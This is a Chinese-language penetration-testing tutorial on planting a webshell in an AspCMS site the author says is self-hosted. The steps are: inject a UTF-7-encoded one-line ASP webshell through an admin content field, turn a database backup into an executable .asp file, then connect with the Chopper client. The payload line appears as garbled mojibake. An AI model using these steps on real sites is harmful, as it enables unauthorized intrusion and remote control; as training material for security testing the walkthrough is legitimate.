文章目錄

• 滲透測試-地基篇-Webshell-Aspcms框架（十）
• 一、登錄演示
• 二、數據庫備份拿webshell

---

一、登錄演示

本次演示一種方法思路拿aspcms框架的webshell，該頁面是用的是最新版本的aspcms框架自行搭建演示的。

1）登錄地址：http://www.aspcms.com/admin_aspcms/

2）登錄后的頁面：

二、數據庫備份拿webshell

登錄到擴展功能-數據庫備份恢復：

首先打開內容維護中欄目都可以插入一句話，修改即可：

插入utf7一句話：

uft7 一句話┼攠數畣整爠煥敵瑳∨≡┩愾

然后開始備份數據庫：

在點擊恢復此備份：

aspcms默認的這個數據庫名是：#5Dp8Gh.asp改為%235Dp8Gh.asp
訪問：http://www.aspcms.com/data/%235Dp8Gh.asp

在內容中出現：ààDí2??￥??: 'execute’表示寫入一句話
成功利用caidao連接：

總結

以上是生活随笔為你收集整理的Aspcms框架的webshell的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。